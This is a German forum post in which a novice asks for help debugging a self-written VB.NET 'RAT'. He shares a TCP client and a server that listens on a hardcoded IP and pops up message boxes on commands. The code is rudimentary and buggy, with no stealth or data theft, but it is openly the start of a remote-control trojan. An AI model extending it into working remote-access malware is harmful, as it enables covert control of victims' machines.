Mein X-MAS RAT problem :( -Klick-
Hallöle,
hab mal versucht einen RAT zucoden!
Das ergebnis sind 3 fehler!
1.Der server läauft nur wenn man als IP "localhost" eingibt!
-Bei IP oder No-IP kommt ein fehler :(
2.Der Client sendet an den Server immer Leerzeichen ohne ände ..statt:
Hallo
Hallo
kommt:
Hallo
Hallo
:(
3.Wenn ich "Hallo wie gehts dir " sende kommt das auch an! Aber wenn ich einen 2ten befehl sende z.b. "Close" kommt : "Close wie gehts dir"
Bei keinen der Probleme hab ich eine lösung gefunden :(
Also hoffe ich ihr könnt mir helfen! Und bitte kein dummes rumgespame etc!
Ich mach den Soure mal pup da ich denke die kiddys können sobieso nix mit machen <.<
Client:
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Public Class Form1
Dim TCPClient As New TcpClient
Private Sub Verbinden()
Dim NetzwerkStrom As NetworkStream
Dim SendeDaten As [Byte]() = Encoding.ASCII.GetBytes("Ihnen wurde etwas gesendet : Verbunden!(Client)")
If Label19.Text = "0" Then
ToolStripStatusLabel1.Text = "Verbunden!"
ToolStripStatusLabel1.ForeColor = Color.Green
Label17.Visible = True
Label18.Visible = False
Button4.Enabled = True
Button3.Enabled = False
Dim IP As String
IP = TextBox2.Text
Try
TCPClient.Connect(IP, 60123)
Catch
Console.WriteLine("Ziel Computer verweigerte den Zugriff!")
End Try
NetzwerkStrom = TCPClient.GetStream()
If NetzwerkStrom.CanWrite And NetzwerkStrom.CanRead Then
NetzwerkStrom.Write(SendeDaten, 0, SendeDaten.Length)
Dim bytes(TCPClient.ReceiveBufferSize) As Byte
NetzwerkStrom.Read(bytes, 0, CInt(TCPClient.ReceiveBufferSize))
Dim Empfangen As String = Encoding.ASCII.GetString(bytes)
MsgBox((Empfangen))
Else
If Not NetzwerkStrom.CanRead Then
MsgBox("Kann wegen fehler keine Daten mehr lesen!")
TCPClient.Close()
Else
If Not NetzwerkStrom.CanWrite Then
MsgBox("Kann wegen fehler keine Daten mehr schreiben!")
TCPClient.Close()
End If
End If
End If
Label19.Text = "1"
Exit Sub
End If
NetzwerkStrom = TCPClient.GetStream()
Dim Daten As String
Daten = TextBox4.Text
SendeDaten = Encoding.ASCII.GetBytes(Daten)
NetzwerkStrom.Write(SendeDaten, 0, SendeDaten.Length)
bla...blaaa...
Server:
Imports System.Net.Sockets
Imports System.Net
Imports System.Text
Imports System.Net.DnsPermissionAttribute
Imports System.Security.Permissions
Imports System.Threading
Module Module1
Sub Main()
Dim Port As Integer = 60123
Dim TCPListener As New TcpListener(CType(Dns.Resolve("84.169.83.23").Addr essList(0), IPAddress), Port)
TCPListener.Start()
Console.WriteLine("TCPListener , Running! Warte auf Verbindung...")
Try
Dim TCPClient As TcpClient = TCPListener.AcceptTcpClient()
Dim NetzwerkStrom As NetworkStream = TCPClient.GetStream()
Dim bytes(TCPClient.ReceiveBufferSize) As Byte
NetzwerkStrom.Read(bytes, 0, CInt(TCPClient.ReceiveBufferSize))
Dim Empfangen As String = Encoding.ASCII.GetString(bytes)
Console.WriteLine((Empfangen))
Dim SendeDaten As String = "Ihnen wurde etwas gesendet : Verbunden!(Listener)"
Dim Senden As [Byte]() = Encoding.ASCII.GetBytes(SendeDaten)
NetzwerkStrom.Write(Senden, 0, Senden.Length)
Dim Baum As Boolean = False
While Baum = False
Thread.Sleep(1000)
Empfangen = ""
NetzwerkStrom.Read(bytes, 0, CInt(TCPClient.ReceiveBufferSize))
Empfangen = Encoding.ASCII.GetString(bytes)
Console.WriteLine((Empfangen))
If Empfangen = "Close" Then
End
End If
If Empfangen = "MsgBox" Then
MsgBox("Mein RAT funzt!")
End If
If Empfangen = "MsgBox2" Then
MsgBox("Ich hab dich lieb!")
End If
End While
Catch
Console.WriteLine("Es gab einen Fehler!")
Console.ReadLine()
End Try
End Sub
----------------------------------------------------
Ich hoffe echt das mir hier einer helfen kann :(
MFG!
